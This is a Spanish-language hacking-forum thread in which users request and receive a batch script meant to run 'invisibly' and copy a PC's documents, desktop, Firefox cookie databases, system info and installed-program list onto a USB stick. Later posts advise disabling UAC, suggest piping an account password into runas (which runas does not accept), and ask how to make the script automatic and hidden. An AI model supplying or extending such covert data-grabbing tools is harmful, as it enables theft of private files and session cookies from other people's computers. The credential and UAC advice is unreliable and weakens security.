Hola a tod@s, me gustaria que me ayudasen a crear un script vbs para copiar datos de una carpeta a mi pendriver quero copiar
Mis Documentos
Mi Musica
Cokies firefox
Registros conversacion msn
Fondo de escritorio
Escritorio
Lista programas instalados
Informacion pc, ram disco duro etc...
ayudadme porfavor, es mi primera vez en programacion y lo necesito rapido......
Cita de: daniwxp11 en 2 Enero 2012, 23:02 PM
Hola a tod@s, me gustaria que me ayudasen a crear un script vbs para copiar datos de una carpeta a mi pendriver quero copiar
ayudadme porfavor, es mi primera vez en programacion y lo necesito rapido......
¿Alguna razón en especial por que lo quieres en VBS?
Si quieres te lo puedo hacer en Batch...
Pero sea como sea, Di en que versión de Windows quieres ejecutar el script (y si es x86 o x64), que aqui no somos magos.
Saludos
lo siento pensaba que valia para todos los sistemas, es para windows7 x86, y de vbs y me da igual vbs o patch, pero que sea invisible
Salu2
Dani ;)
Había escrito un mensaje aqui con un code bastante largo y se ha borrado por arte de magia...
(Problemas del foro?)
Por suerte aún guardaba una copia del script. :/
Bueno Daniwxp11 lo que te dije en mi post borrado:
Se me olvidó preguntarte si el batch es para intenciones maliciosas.. .osea, si lo quieres ejecutar oculto. Y si el pendrive se debe detectar automáticamente o te da igual introducirlo manualmente.
Bueno, si necesitas algún cambio, Avisa.
PD: No tengo el MSN de microsoft instalado así que no puedo hacer esa parte del code porque no conozco las rutas de los registros del Msn y/o MSN Plus, pero puedes intentar hacerlo tú mismo de la misma manera que copio las cookies de firefox.
Saludos
@echo off
Rem By EleKtro H@cker
Rem Visita Foro.ElHacker.Net
Title Proyecto 1
Mode con cols=58 lines=30
Color 7
:Select
:::::
PUSHD "%WINDIR%\System32\"
Echo+
Echo Unidades disponibles
Echo ====================
Echo.
For /F "tokens=2-9 Delims=\ " %%a in ('fsutil fsinfo drives') do (
If "%%a" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%a)
If "%%b" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%b)
If "%%c" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%c)
If "%%d" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%d)
If "%%e" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%e)
If "%%f" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%f)
If "%%g" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%g)
)
Echo.
Echo elige la letra de la unidad de destino. (Ejemplo: C)
Echo.
set /p DEST=^>^>
If Not defined DEST (
CLS
Goto :Select
) ELSE (
Set DEST=%DEST:~0,1%
Set DEST=%DEST%:
)
If not exist "%Dest%" (
Echo+
Echo "%DEST%" Unidad no valida...
Ping -n 3 LocalHost >nul
Set Dest=
Cls
Goto :Select)
:Start
::::::
Cls
Echo+
Echo %ComputerName% (%username%)
Echo.
Echo Origen: %Homedrive%
Echo Destino: %Dest%
Echo.
Echo ==========================================================
Echo Copiando Mis documentos...
call :Copy %userprofile%\Documents
Echo.
Echo Copiando Mi m£sica...
call :Copy %userprofile%\Music
Echo.
Echo Copiando Escritorio...
call :Copy %userprofile%\Desktop
Echo.
Echo Copiando Fondo de escritorio...
call :Copy %appdata%\Microsoft\Windows\Themes
Echo.
Echo Copiando Cookies Firefox...
For /F "tokens=*" %%_ in ('Dir /B "%appdata%\Mozilla\Firefox\Profiles"') do (
MKdir "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\" >nul 2>&1
Copy /Y "%appdata%\Mozilla\Firefox\Profiles\%%_\Cookies.sq*" "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\" >nul 2>&1)
Echo.
Echo Copiando Conversaciones MSN...
Echo ... Mentira xD
Echo.
Echo Extrayendo Informacion del PC...
Systeminfo > "%DEST%\%ComputerName%\Info PC.txt"
Echo.
Echo Extrayendo Programas instalados...
Echo :Programas instalados: > "%DEST%\%ComputerName%\Programas instalados.txt"
Echo ====================== >>"%DEST%\%ComputerName%\Programas instalados.txt"
CALL :Reg HKLM
CALL :Reg HKCU
Goto :Fin
:SubRutinas:
::::::::::::
:Copy
Set "PATH=%*"
Set "PATH=%PATH::=%"
Xcopy /E /Y "%*" "%DEST%\%ComputerName%\%PATH%\" >nul 2>&1
Goto :EOF
:REG
Setlocal EnableDelayedexpansion
For /F "tokens=*" %%_ in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"') Do (
Set KeyName=%%_
Set KeyName=!KeyName:~71!
For /F "tokens=* Skip=2 delims=_" %%a in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\!KeyName!" /V "DisplayName" 2^>nul') Do (
Set Name=%%a
Set Name=!Name:~29!
Echo !NAME!>>"%DEST%\%ComputerName%\Programas instalados.txt"
)
)
Sort "%DEST%\%ComputerName%\Programas instalados.txt" /O "%DEST%\%ComputerName%\Programas instalados.txt"
Setlocal DisableDelayedexpansion
Goto :EOF
:Fin
::::
Echo.
Echo.
Echo.
Echo Informaci¢n guardada!! :)
Ping -n 5 LocalHost >nul
Exit
(http://img52.imageshack.us/img52/7713/prtscrcapturedb.jpg) (http://img209.imageshack.us/img209/5872/prtscrcapture2n.jpg)
Hola que tal no se si me puedan apoyar,lo que estoy mas o menos queriendo hacer
es
Maquina 1 tiene una usuario A,pero el usuario A se va a otra maquina 2,y desde esa maquina 2 quiere copiar toda la informacion que habia en maquina 1,son usuarios en red registrados en un directorio activo,lo que busco es hacer un batch para poder hacer el copy ,sin necesidad de que me pida credencialesal ingresar a la maquina 1
o en todo caso como podria hacer ellos para incluir dicha opcion ,espero su apoyo
Graciass
Desactiva el UAC en la máquina 1 y 2. Fin del asunto (Supongo), Sin complicaciones.
Si no puedes porque no eres el dueño, o algo, Prueba esto:
Echo PASSWORD_DE_LA_CUENTA_DE_MAQUINA_1 | Runas /profile /user:NOMBRE_DEL_PC_MAQUINA_1\NOMBRE_DE_LA_CUENTA_MAQUINA_1 "comandos .........etc"
EJEMPLO:
Echo Hacker | Runas /Profile /User:Elektro STuDioS-PC\Elektro CMD /K Copy "C\archivo" "D:\"
Hola, como seria para que este script sea automatico y de modo oculto ¿?